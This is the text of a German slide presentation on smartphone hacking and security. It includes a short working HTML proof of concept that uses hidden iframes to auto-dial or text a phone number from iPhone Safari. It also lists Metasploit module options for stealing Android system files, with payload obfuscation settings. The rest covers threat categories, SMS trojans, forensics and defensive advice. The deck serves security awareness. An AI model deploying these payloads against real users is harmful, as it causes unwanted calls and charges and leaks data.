
  

Smart aber gehackt: 
Hacking & Security bei Smartphones

Marko Rogge

Proof-of-Concept with plain HTML using the SMS application:

  <html>
  <head>
  <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner</title>
  </head>
  <body>
  <iframe src="sms:+14089748388" WIDTH=50 HEIGHT=10></iframe>
  <iframe src="tel:+14089748388" WIDTH=50 HEIGHT=10></iframe>
  <!-- second iframe is to attack quick users who manage to close the first call-dialog //-->
  <iframe src="tel:+14089748388" WIDTH=50 HEIGHT=10></iframe>
  </body>
  </html>



  

Marktsituation



  

+++ Breaking News +++

Quelle: heise.de



  

Angriffe auf Smartphones



  

Angreifer

● Anwender (böswilliges Löschen, Herunterfahren von 
Systemen, Fehlbedienung)

● Skript-Kiddies (Jugendliche bis ca. 25, Anwendung 
von fertigen Skripten, Defacements, DDoS Angriffe, 
unsinniges und destruktives Verhalten)

● Semi-Professionelle Angreifer (Admins, 
Informatikstudenten, Linuxfreaks)

● Professionelle Angreifer (Security-Consultants, 
Penetration Tester, Nachrichtendienste)



  

Gefahren / Angriffe

● Würmer, Viren, Trojaner

● Hijacker, Keylogger, Sniffer

● Infected Webseiten, Trojaner, XSS

● Firmware, Schwachstellen, Sicherheitslücken



  

Angriffe



  

Angriffe



  

Angriffe - Apps

Facebook: http://www.marko-rogge.de/facebookadressen.pdf



  

Angriffe - Apps

Quelle: AegisLab

Versendet Premium SMS
Diverse Applikationen betroffen:
iMatch, 3D Cube horror terrible, 
ShakeBanger, Shake Break, Sea Ball,
iMine, iCalendar, LoveBaby, 
iCartoon sowie iBook für Android.

Security Alert 2011-05-11: 
New SMS Trojan "zsone" was 
Took Away from Google Market 



  

adb – Dev.

 http://developer.android.com/sdk/

OpenSource vs. Sicherheit



  

Exploitation

FILES The remote file(s) to steal (default: /proc/version,/proc/self/status,/data/system/packages.list)
SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The local port to listen on. (default: 8080)
SSL Negotiate SSL for incoming connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
URIPATH The URI to use for this exploit (default is random)
ListenerComm The specific communication channel to use for this service
WORKSPACE Specify the workspace for this module
HTML::base64 Enable HTML obfuscation via an embeded base64 html object
HTML::javascript::escape Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding Enable folding of HTTP headers
HTTP::junk_headers Enable insertion of random junk HTTP headers
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)

http://www.metasploit.com/



  

Full Tracking

https://github.com/packetlss/android-locdump

http://petewarden.github.com/iPhoneTracker/



  

Forensik - Android

http://www.marko-rogge.de/androidforensics.pdf

Ebenfalls interessant, dass sich selbst gelöschte 
Datenbanken wiederherstellen 
lassen und sich somit ältere 
Konversation lesbar machen lässt. 
Ein „normaler“ Anwender wiegt 
sich in Sicherheit, da er meint, 
seine gelöschten Konversationen/Chats 
sind gelöscht.



  

Forensik – Maemo/Meego

http://www.marko-rogge.de/nokiaforensics.pdf



  

Sicherheit?



  

Sicherheit!

Sicherheit der Informationsverarbeitung ist dann
gegeben, wenn die Höhe der einzelnen Risiken 
die Risikohöhe nicht überschreitet, die gerade 

noch akzeptiert werden kann.

[Lippold et al. 1992]



  

Vermeidung!



  

Sicherheit

http://appanalysis.org/download.html

http://www.whispersys.com/
Firewall & Encryption

https://www.mylookout.com/

McAfee, Symantec, TrendMicro, F-Secure ...



  

Sicherheit

● Vorhandene Möglichkeiten effektiv nutzen
● Mitarbeiter sensibilisieren / Schulungen
● Jailbreaks vermeiden / Root vermeiden
● Sicherheitssoftware einsetzen

● Mobile Endgeräte und mobile Applikationen: 
Sicherheitsgefährdungen und 
Schutzmaßnahmen

https://www.bsi.bund.de/ContentBSI/Publikationen/Broschueren/mobile/index_htm.html



  

Danke!

Marko Rogge
www.marko-rogge.de
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